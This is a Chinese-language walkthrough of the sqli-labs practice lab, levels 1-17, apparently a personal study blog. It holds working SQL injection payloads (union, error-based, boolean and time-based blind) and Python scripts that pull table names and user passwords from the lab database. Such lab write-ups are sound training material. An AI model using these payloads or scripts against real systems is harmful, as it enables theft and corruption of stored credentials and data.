less 0
环境搭建
在phpstudy 的WWW 目录下下载,下载地址:
1 git clone https://github.com/Audi-1/sqli-labs.git
修改目录sql-connections
下的db-creds.inc
文件,把密码改成自己的MySQL 密码。
然后创建网站,PHP版本选择5.4.45。
进入网站,初始化数据库即可。
less 1
简单字符型
传递id=1
,得到回显。id=1+1
回显与id=1
相同,推测为字符型注入。
判断回显数据数量,?id=1' order by 1/2/3/4 --+
。得出回显数据的数量为3。
常规注入之爆表名。
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段名。
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询password
。
?id=-1' union select 1,2,group_concat(password) from users--+
less 2
简单整形
传递id=1 and 1=1
,得到回显,说明为整形。依次尝试id=1 order by 1/2/3/4
,判断回显数据为3个。
常规注入爆表名,?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
。
之后操作与less 1 基本相同,这里不多赘述。
less 3
需要闭合括号
尝试id=1"
,可知需要闭合括号。
传参id=1') order by 1/2/3/4--+
,发现回显的数据数量为3。
完成闭合之后后续步骤同上,不多赘述。
less 4
双引号字符型
常规注入id=1abc
,判断为字符型注入。尝试id=1"
,发现给参数前后加了双引号和括号。
构造参数id=1") [option]--+
即可闭合。在[option]
中插入需要执行的语句即可,步骤同上,这里也不再赘述。
less 5
布尔盲注
正常闭合返回都是You are in...........
,首先想到就是布尔盲注。
注入脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport sysurl = "http://sqli-labs/Less-5/?id=1'" name = "" for i in range (1 , 200 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = " and substr(([OPT_1]),%d,1) = '%s'--+" % (i, str_ascii) str_get = requests.get(url=url + payload) if "[OPT_1]" in str_get.text: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
[OPT_1]
即为查询语句,自行修改为爆库名、爆表名、爆字段名、查询值的语句即可。[OPT_2]为回显内容,这题是You are in...........
。
直接以最后一步为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport sysurl = "http://sqli-labs/Less-5/?id=1'" name = "" for i in range (1 , 200 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii) str_get = requests.get(url=url + payload) if "You are in..........." in str_get.text: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
运行结果为:
less 6
类似level 5
这题id
需要用"
闭合,其余步骤同level 5 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport sysurl = "http://sqli-labs/Less-6/?id=1\"" name = "" for i in range (1 , 200 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii) str_get = requests.get(url=url + payload) if "You are in..........." in str_get.text: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
最后结果:
less 7
类似level 5
或者outfile
方法
首先判断闭合类型。
id=1')) or 1=1 --+
,回显正确。
之后步骤类似level 5 ,略改一下脚本即可。
这里直接展示最后一步的脚本和结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport sysurl = "http://sqli-labs/Less-7/?id=1'))" name = "" for i in range (1 , 200 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii) str_get = requests.get(url=url + payload) if "You are in...." in str_get.text: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
提示的outfile
方法我也没太理解,搞懂了再补充
less 8
依旧是布尔盲注
首先判断为单引号闭合。
还是布尔盲注,参考前文,这里展示最后一步的脚本与结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport sysurl = "http://sqli-labs/Less-8/?id=1'" name = "" for i in range (1 , 100 ): print (i) for j in range (31 , 128 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = " and substr((select group_concat(password) from users),%d,1) = '%s'--+" % (i, str_ascii) str_get = requests.get(url=url + payload) if "You are in...." in str_get.text: if str_ascii == "+" : sys.exit() else : name += str_ascii break print (name)
less 9
时间盲注
首先判断为字符型注入。在判断是双引号还是单引号闭合时,id=1' --+
和id=1" --+
的回显相同,尝试一下时间盲注。
发现id=1' and if(1,sleep(5),3)--+
和id=1" and if(1,sleep(5),3)
的响应时间不同,闭合类型为单引号,使用时间盲注。
步骤同时间盲注,依次构造爆库名、爆表名、爆字段名和查询值的payload 。
直接展示最后一步查询的脚本和运行结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport timeurl = "http://sqli-labs/Less-9/" payload_str = """?id=1' and if( (ascii( substr( (select group_concat(password) from users) ,{n},1) ) ={r}) , sleep(5), 3) --+""" def getStr (url, payload, length ): str = '' for l in range (1 , length + 1 ): for n in range (33 , 126 ): start_time = time.time() response = requests.get(url=url + payload_str.format (n=l, r=n)) use_time = time.time() - start_time if use_time > 5 : str += chr (n) print ('第' , l, '个字符猜解成功:' , str ) break ; return str ; getStr(url, payload_str, 200 )
less 10
类似less 10
判断闭合类型的时候为双引号 ,其余步骤同less 9 。
最后一步的脚本和结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport timeurl = "http://sqli-labs/Less-10/" payload_str = """?id=1" and if( (ascii( substr( (select group_concat(password) from users) ,{n},1) ) ={r}) , sleep(5), 3) --+""" def getStr (url, payload, length ): str = '' for l in range (1 , length + 1 ): for n in range (33 , 126 ): start_time = time.time() response = requests.get(url=url + payload_str.format (n=l, r=n)) use_time = time.time() - start_time if use_time > 5 : str += chr (n) print ('第' , l, '个字符猜解成功:' , str ) break ; return str ; getStr(url, payload_str, 200 )
less 11
post
注入
随便输入密码和账号,用burpsuite抓包,发现用post
传参:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /Less-11/ HTTP/1.1 Host : sqli-labsUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/x-www-form-urlencodedContent-Length : 40Origin : http://sqli-labsConnection : closeReferer : http://sqli-labs/Less-11/Upgrade-Insecure-Requests : 1uname =123456 &passwd=123456 &submit=Submit
首先判断闭合为单引号还是双引号,修改请求头如下,得到回显。可知这是个post
单引号字符型注入。
1 2 uname=123456' --+&passwd=123456&submit=Submit
接下来的步骤就是依次构造爆表名、爆库名、爆字段名、查询的payload
了。
less 12
类似level 11
传参uname=123456" union select 1,2--+&passwd=123456&submit=Submit
,得到回显,发现还需要括号闭合。
用uname=123456") union select 1,2--+&passwd=123456&submit=Submit
,闭合,之后的操作和level 11 相同。
less 13
报错注入
尝试uname=123456' union select 1,2--+&passwd=123456&submit=Submit
,发现还需要用括号闭合。这里我们使用报错注入。报错注入参考报错注入 。
使用updatexml()
报错注入。首先爆库名,uname=123456') or updatexml(1,concat(0x7e,(database()),0x7e),1)--+&passwd=123456&submit=Submit
,得到回显。
之后的步骤就很简单了。
注意使用uname=123456') or updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+&passwd=123456&submit=Submit
时页面无法显示全部的字段。
所以我们用limit(x, 1)
函数,uname=123456') or updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=123456&submit=Submit
来逐个查询所有的字段值。
less 14
依旧是报错注入
和level 13 基本一致,使用报错注入。但是闭合类型为双引号,其他和level 13 都想同。
less 15
布尔盲注或者时间盲注
burpsuite抓包修改,uname=123456' or 1=1#&passwd=123456&submit=Submit
,登陆成功,判断闭合类型为单引号。
虽然注入成功没有数据回显,但是登录成功返回flag.jpg
,失败返回slap.jpg
,这里可以用布尔盲注。
首先爆表名,脚本如下。
和之前的布尔盲注脚本区别在于这题使用的请求方式为POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "http://sqli-labs/Less-15/" name = "" for i in range (1 , 100 ): print (i) for j in range (33 , 126 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "123456' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1) = '%s'#" % (i, str_ascii) data = {"uname" : payload, "passwd" : "123456" } str_get = requests.post(url=url, data=data) if "flag" in str_get.text: name += str_ascii break print (name)
后面的步骤就不赘述了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "http://sqli-labs/Less-15/" name = "" for i in range (1 , 100 ): print (i) for j in range (33 , 126 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = "123456' or substr((select group_concat(password) from users),%d,1) = '%s'#" % (i, str_ascii) data = {"uname" : payload, "passwd" : "123456" } str_get = requests.post(url=url, data=data) if "flag" in str_get.text: name += str_ascii break print (name)
这里用时间盲注也可以。
less 16
老规矩,burp抓包判断闭合类型。为")
闭合。
又是没有任何数据回显,直接上盲注脚本。还是之前的布尔盲注脚本,但是需要修改一下闭合类型。直接上最后一步的脚本,完成前面步骤的脚本照葫芦画瓢修改即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsurl = "http://sqli-labs/Less-16/" name = "" for i in range (1 , 100 ): print (i) for j in range (33 , 126 ): j = (128 + 31 ) - j str_ascii = chr (j) payload = '123456") or substr((select group_concat(password) from users),%d,1) = "%s"#' % (i, str_ascii) data = {"uname" : payload, "passwd" : "123456" } str_get = requests.post(url=url, data=data) if "flag" in str_get.text: name += str_ascii break print (name)
最后的结果。
less 17
根据题意,应该是注入点应该是在修改密码的UPDATE
语句。先输入admin
和任意密码试一试。
发现修改密码成功。接下来就可以在输入密码的地方报错注入。判断闭合为'
。
库名。
表名。
字段。
密码。发现爆不出来?
百度一下,You can't specify target table 'users' for update in FROM clause
。
在一个mysql语句中不能先select表中的值再update它。
再次面向百度刷题,看看怎么解决的。只需要在中间位置多嵌套一层子查询即可。
查出来了,但是好像因为本人太菜,注的太多密码全变成1了。